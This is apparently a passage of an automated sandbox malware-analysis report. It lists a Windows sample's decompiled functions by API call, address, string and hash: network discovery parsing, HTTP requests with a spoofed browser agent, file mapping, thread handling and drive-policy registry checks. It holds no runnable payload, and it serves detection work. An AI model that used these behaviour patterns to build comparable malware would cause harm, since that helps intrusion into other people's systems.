GetThreadPriority.KERNEL32(00000000,?,?,?,00408480,?,000000FF), ref: 0040DD5D
GetCurrentThread.KERNEL32 ref: 0040DD68
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480,?,000000FF), ref: 0040DD6F
InterlockedExchangeAdd.KERNEL32(00408480,00000000), ref: 0040DD92
EnterCriticalSection.KERNEL32(000000FB), ref: 0040DDC7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040DE12
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040DE2E
Sleep.KERNEL32(00000001), ref: 0040DE5E
GetCurrentThread.KERNEL32 ref: 0040DE6D
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480), ref: 0040DE74

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction ID: 15ec6ce41066bd2df298828df26a4308ea05a03792f046612c1f6ffbd780898a
Opcode Fuzzy Hash: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction Fuzzy Hash: 1B412C74E00209DBDB04DFE4D844BAEBB71FF54315F108169E916AB381D7789A84CF99

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction ID: f2cbb4ded8662be063e38a6044f3a63d93470e371ff4fbf655dea468244fd3f8
Opcode Fuzzy Hash: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction Fuzzy Hash: 4F51B075608702ABC704DF29D888B9BFBE5BF88314F40862EF85D93360D774A545CB96

Function 0040E310 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Sleep.KERNEL32(000003E8), ref: 0040E36E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

HTTP/1.1 200 OK, xrefs: 0040E37F
LOCATION: , xrefs: 0040E395

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction ID: e67ba9521a541be798431772fb319970cc3d6429c6b3b7a9c3ce28b53cac335a
Opcode Fuzzy Hash: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction Fuzzy Hash: 5E2130B0940218ABDB20CB65DC45BE9BB74AB04308F1085E9EB19B72C0D7B95AD6CF5D

Function 0040F4B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040F4C7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F4E6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040F50F
InternetCloseHandle.WININET(00000000), ref: 0040F538
InternetCloseHandle.WININET(00000000), ref: 0040F542
Sleep.KERNEL32(000003E8), ref: 0040F54D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F4C2

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 2743515581-2960703779
Opcode ID: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction ID: af5d65e8d2fa993cc87ce820da5284d466d7432e490674ab1d3698c460306143
Opcode Fuzzy Hash: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction Fuzzy Hash: E7212975A40308BBDB20DF94CC49FEEB7B5AB04705F1084A5EA11AB2C0C7B9AA84CB55

Function 0040BC70 Relevance: 12.1, APIs: 8, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(004165F8,?,?,?,?,?,?,00408403), ref: 0040BC7B
CreateFileW.KERNEL32(004163E0,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040BCCD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040BCEE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040BD0D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040BD22
UnmapViewOfFile.KERNEL32(00000000), ref: 0040BD88
CloseHandle.KERNEL32(00000000), ref: 0040BD92
CloseHandle.KERNEL32(000000FF), ref: 0040BD9C

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID:
API String ID: 439099756-0
Opcode ID: 95b7ad4b48b2612a2ac74941d1961fd8d23959eee21eec156b7f746c57c5f411
Instruction ID: 789285c27e92e60cc42243599a26330008c438e37824d2da8ff51af530b364ad
Opcode Fuzzy Hash: 95b7ad4b48b2612a2ac74941d1961fd8d23959eee21eec156b7f746c57c5f411
Instruction Fuzzy Hash: 0F413A74E40309EBDB10EBA4DC4ABAEB774EB44705F20856AF6117A2C1C7B96941CB9C

Function 00405C00 Relevance: 12.1, APIs: 8, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00415B88,?,?,?,?,?,004083CD), ref: 00405C0B
CreateFileW.KERNEL32(00415FC8,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,004083CD), ref: 00405C25
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405C46
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405C65
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405C7E
UnmapViewOfFile.KERNEL32(00000000), ref: 00405D0B
CloseHandle.KERNEL32(00000000), ref: 00405D15
CloseHandle.KERNEL32(000000FF), ref: 00405D1F

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: d5d83b1f14bbe53c7a306cab709472362fb8432e959898be764c548cb6fd93a9
Instruction ID: 999418e1eeb904d95552c7fd1475d0c30f1e1fd8627807f9f1e65d0b0efdc9c4
Opcode Fuzzy Hash: d5d83b1f14bbe53c7a306cab709472362fb8432e959898be764c548cb6fd93a9
Instruction Fuzzy Hash: DE310E74E40209EBDB14DBA4DC49FAFB774EB48700F20856AE6017B2C0D7B96941CF99

Function 004060A0 Relevance: 10.7, APIs: 7, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,00000000,0040C2A2,006A0266,?,0040C2BE,00000000,0040D66C,?), ref: 004060AF
memcpy.NTDLL(?,00000000,00000100), ref: 00406141
CreateFileW.KERNEL32(00415FC8,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00406265
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 004062C7
FlushFileBuffers.KERNEL32(000000FF), ref: 004062D3
CloseHandle.KERNEL32(000000FF), ref: 004062DD
LeaveCriticalSection.KERNEL32(00415B88,?,?,?,?,?,?,0040C2BE,00000000,0040D66C,?), ref: 004062E8

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID:
API String ID: 1457358591-0
Opcode ID: e72a487dce04114ef622edc0900d7397c89588e022fce289eeb1184eb778240f
Instruction ID: a605c5c2860c2acc1241a09a2373603bf375adc509756cd8cb030c585388e075
Opcode Fuzzy Hash: e72a487dce04114ef622edc0900d7397c89588e022fce289eeb1184eb778240f
Instruction Fuzzy Hash: D171BCB4E042099FCB04DF94D981FEFB7B1AF88304F14816DE506AB381D779A951CBA9

Function 0040ECC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

device, xrefs: 0040ED73
deviceType, xrefs: 0040ED86

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction ID: 03739fb7cbf0ac8b4f24cf275543a684364e3b5b0ef8f18e7a9da7a5ef98527e
Opcode Fuzzy Hash: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction Fuzzy Hash: 1A413A75A0020ADFCB04DF99D884BAFB7B5FF48304F108969E505A7390D778AA91CB95

Function 0040EB60 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

service, xrefs: 0040EC13
serviceType, xrefs: 0040EC26

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction ID: 010777473a756836e58c8d4bedbd534eac8e5d19c37eb4cb5fbe46cee8795b1d
Opcode Fuzzy Hash: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction Fuzzy Hash: 9F416A74A0020ADFDB04CF99C884BAFB7B9BF48304F108969E505B7390D779AE81CB95

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 3ac2f8f5af7b0d3c40b8ef892d708a394eff8d7b565022b2108cc4f7acf51177
Instruction ID: a453b5b0d0ea6fd4c501cc83d62b7a74cd48d0bc9ee55fa6e36116878b1ddbe7
Opcode Fuzzy Hash: 3ac2f8f5af7b0d3c40b8ef892d708a394eff8d7b565022b2108cc4f7acf51177
Instruction Fuzzy Hash: D231D1722012059BC710AFB5ED8CAE7B7A8FB44314F04863EE55AD3280DB78A4449BA9

Function 0040ED01 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

device, xrefs: 0040ED73
deviceType, xrefs: 0040ED86

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction ID: 82367b585ef85f09a19fbcbd702cec43aacbd83c2379c0e5ae25b899a50ddae9
Opcode Fuzzy Hash: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction Fuzzy Hash: F1313970A0020ADFCB14CF99D884BEFB7B5FF88304F108969E514A7390D778AA91CB95

Function 0040EBA1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

service, xrefs: 0040EC13
serviceType, xrefs: 0040EC26

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction ID: b0af1682f63206834f838cc0e71cdea1734b5e967c65deefb948a4066f0743c7
Opcode Fuzzy Hash: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction Fuzzy Hash: 09312874A0420A9FDB04CF99C884BEFB7B5BF48304F108969E615B7390D779AA81CB95

Function 004077F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040786D
Sleep.KERNEL32(000003E8), ref: 0040789C
wsprintfA.USER32 ref: 004078C7
DeleteUrlCacheEntry.WININET(?), ref: 004078D7
Sleep.KERNEL32(000DBBA0), ref: 0040791F

Strings

%s%s, xrefs: 004078BB

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 0f885536a534958de828f6dadf3c238a14188cbeabebc74b6a6376721a3f9b9c
Instruction ID: a96cc5071c69656b1b6f4b00c6699880e4d6530ea1aa1078cf67c052952084b8
Opcode Fuzzy Hash: 0f885536a534958de828f6dadf3c238a14188cbeabebc74b6a6376721a3f9b9c
Instruction Fuzzy Hash: 643116B0C01218DFCB50DFA8DC887EDBBB4BB48304F1085AAE609B6290D7795AC4CF59

Function 004063E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 004063E6
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
RegCloseKey.ADVAPI32(?), ref: 0040647E

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406427
NoDrives, xrefs: 00406458

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction ID: 87cba227ccd7b938b07588cb79f30f32aa16a0fd6c84a7572e83495dfcaef010
Opcode Fuzzy Hash: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction Fuzzy Hash: D311FCB0E0020A9BDB10CFD0D945BEEBBB4BB08304F118119E615B7280D7B85685CF99

Function 0040DBE0 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04

Part of subcall function 0040DCD0: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040DD10
Part of subcall function 0040DCD0: CloseHandle.KERNEL32(?), ref: 0040DD29

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction ID: 271f69a92097b1b74c70525479ef463fb32d1143369d808ec26f6a45d53993ac
Opcode Fuzzy Hash: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction Fuzzy Hash: 8D31FA74A00208EFDB04DF98D889B9E7BB5EF48314F0085A8E906A7391D774EA95CF94

Function 00407720 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00407726
srand.MSVCRT ref: 0040772D
rand.MSVCRT ref: 00407735
Sleep.KERNEL32 ref: 00407746
StrChrA.SHLWAPI(00000000,0000007C), ref: 0040776C
Sleep.KERNEL32(000003E8), ref: 0040779D

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Sleep$CountTickrandsrand
String ID:
API String ID: 3488799664-0
Opcode ID: c4b67ad1fad57f8bcb632e0803aeb8977b8bb7c39f14d193e10d0355081e485a
Instruction ID: d526f444081091d18ff5343ef40ffd9a09f2c1e6f6858c3ecb06089bc02b22b2
Opcode Fuzzy Hash: c4b67ad1fad57f8bcb632e0803aeb8977b8bb7c39f14d193e10d0355081e485a
Instruction Fuzzy Hash: 1F21A479E00208FBC704DF60D885AAE7B31AB45304F10C47AE9026B381D679BA80CB56

Function 00409860 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040986D
_aullshr.NTDLL ref: 0040987E
_allshl.NTDLL ref: 004098A0
_aullshr.NTDLL ref: 004098BC
_allshl.NTDLL ref: 004098DE
_aullshr.NTDLL ref: 004098FA

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction ID: 526ada65c8064deb58b6c5f7a60763359622b06b1071bb594fb8502c37df64e6
Opcode Fuzzy Hash: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction Fuzzy Hash: C1111F32600618AB8B10EF5EC4426CABBD6EF84361B25C136FC2CDF359D634DA454BD8

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 40dba2aff78ba806bae8a6d526fcd496496bfc60c7e892d92015a678719dcbf9
